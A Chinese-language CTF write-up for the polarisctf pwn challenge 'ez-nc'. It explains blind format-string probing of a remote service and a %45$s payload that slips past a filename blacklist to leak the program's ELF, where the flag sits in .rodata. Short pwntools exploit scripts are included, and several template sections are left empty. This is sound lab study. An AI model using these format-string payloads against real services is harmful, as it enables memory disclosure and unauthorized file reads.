[polarisctf]ez-nc

作者:Vesper Vei
2 分钟阅读

目录

  1. 题目摘要
  2. 程序画像与攻击面
    1. 程序功能概览
    2. 攻击面初筛
  3. 利用前约束
    1. 关键限制
  4. 原语提炼
    1. 泄漏能力与关键信息获取
  5. 路线选择
  6. 攻击链拆解
    1. 路线1:字符串盲注
    2. 路线 2:下载后IDA逆向分析
  7. 踩坑与稳定性
    1. 踩坑记录
    2. 踩坑记录与稳定性修正
  8. 模式迁移
    1. 模式识别
    2. 迁移复用
    3. 模式识别与迁移
  9. exp汇总:
    1. 路线一
    2. 路线二:

[!note] 关联入口:PWN题目索引

题目摘要

[!info] 基本信息

  • 比赛:polarisctf
  • 题目:ez-nc
  • 难度:★★★☆☆
  • 架构:amd64
  • libc / 环境:待补充
  • 保护机制:NX

[!abstract] 一句话攻击链 BROP+格式化字符串漏洞->%n$p探测栈空间->%n$s泄漏ELF文件并保存->IDA逆向分析

程序画像与攻击面

image.png

程序功能概览

题目没有给任何文件,开启容器nc连接后,出现了 Enter the filename to download: 但是具体测试,不存在 download 功能,只会打印文件内容。 同时对目标文件 ez-nc 做了过滤保护

攻击面初筛

既然存在字符串交互,故尝试格式化字符串漏洞 %p 探测出了一个栈地址,同时有输入长度限制 (len_max=7),初步怀疑程序使用了 fnprintf() 。 接下来会用BROP进行栈地址探测

利用前约束

关键限制

原语提炼

[!note] 这一节用于说明漏洞如何转化为可复用的 primitive。

泄漏能力与关键信息获取

泄漏结果与关键信息

image.png 我们对 1~50 进行了 %p 指针探测,得到了一些栈地址。这些栈空间会存储着局部变量数据(如果探测的地址够高,能够得到二进制文件信息!) exp —> 路线一

对后续利用的支撑

接下来进行 %n$s 字符串探测,拿到栈空间的实际信息。但这里要注意,如果传入的地址未命中字符串会导致导致程序崩溃 (Segfault),所以要写好重连逻辑。 崩溃重连: image.png 命中成功: image.png

路线选择

这里我做题时,将Index 45的结果发给AI,让AI在大量字节中找到了flag,但之后看其他师傅的WP时,发现还可以把Index 45的结果保存为二进制文件,并在IDA中逆向分析,在 .rodata 字段中找到了flag。 所以本题记录两种路线。

攻击链拆解

路线1:字符串盲注

直接对 1~50 进行 %n$s 盲注: image.png 这些返回的字节中藏着flag,但人工筛选难度过大,容易眼花漏掉。 (下面还有2页的长度,过长不展示)

路线 2:下载后IDA逆向分析

从上面的截图中可以看到,存在文件头 ELF 字符串!这说明在 Index 45出存放的是一个二进制文件字符串 例如 ez-nc 的ELF文件。这个栈地址 0x7fffbdac7e10 -> .data 段的地址,这个地址存放着 ez-nc 的字符串。程序将这个字符串放在了 fnprintf() 的第一个参数,从而绕过了程序对 ez-nc 字符串的过滤! 写一个脚本可以下载到这个二进制文件 —> 路线二:

[!tip] 我这里用了wp作者的脚本,下载下里的ELF文件是无法直接IDA逆向的!后面 踩坑记录会补充说明

拖入IDA中分析: longshot20260409185707.jpg 程序存在 strstr(s, “ez-nc”) 黑名单检测,但随后调用了 snprintf(filename, 0x58u, s),将用户输入直接作为格式化字符串,导致格式化字符串漏洞。
通过输入 %45$s(栈上第 45 个偏移处正好为 argv[0] 即程序运行名 ez-nc),可绕过字符串黑名单检测,使 filename 被格式化为 ez-nc,从而触发任意文件读取下载程序本体。 ps:我不知道为什么下载的二进制文件有问题,符号表没定位到 image.png 发现flag 直接硬编码在 ELF 文件的 .rodata 数据段中 image.png

踩坑与稳定性

踩坑记录

这里填一下为什么一开始的ELF无法被IDA正常逆向的原因:

踩坑记录与稳定性修正

最先出错的地方

根因定位

稳定版修正

模式迁移

模式识别

迁移复用

模式识别与迁移

识别信号

迁移套路

exp汇总:

路线一

def create_conn() -> remote:
return remote("nc1.ctfplus.cn", 15894)
def interact_copy(io: remote | process, payload: bytes) -> bytes | None:
context.timeout = 0.5
try:
io.recvuntil(b"Enter the filename to download:")
io.sendline(payload)
res = io.recvuntil(b" not existed", drop=True)
return res
except Exception:
return None
# BlindFmtTool是我自己写的工具类,具有重连功能,可以在我的github上找到“my_tool.py”
brop = BlindFmtTool(create_conn, interact_copy)
# 栈空间探测封装:
brop.dump_stack_ptrs()
# 字符串盲注封装:
brop.dump_strings()

路线二:

下载Index 45ELF文件的exp:

from pwn import *
context.log_level = "error"
def download():
host = "nc1.ctfplus.cn"
port = 32441
io = remote(host, port)
io.recvuntil(b"download: ")
io.sendline(b"%45$s")
data = io.recvall(timeout=3)
if b"ELF" in data:
with open("ez-nc", "wb") as f:
f.write(data)
if __name__ == "__main__":
download()

关系图谱

Loading graph...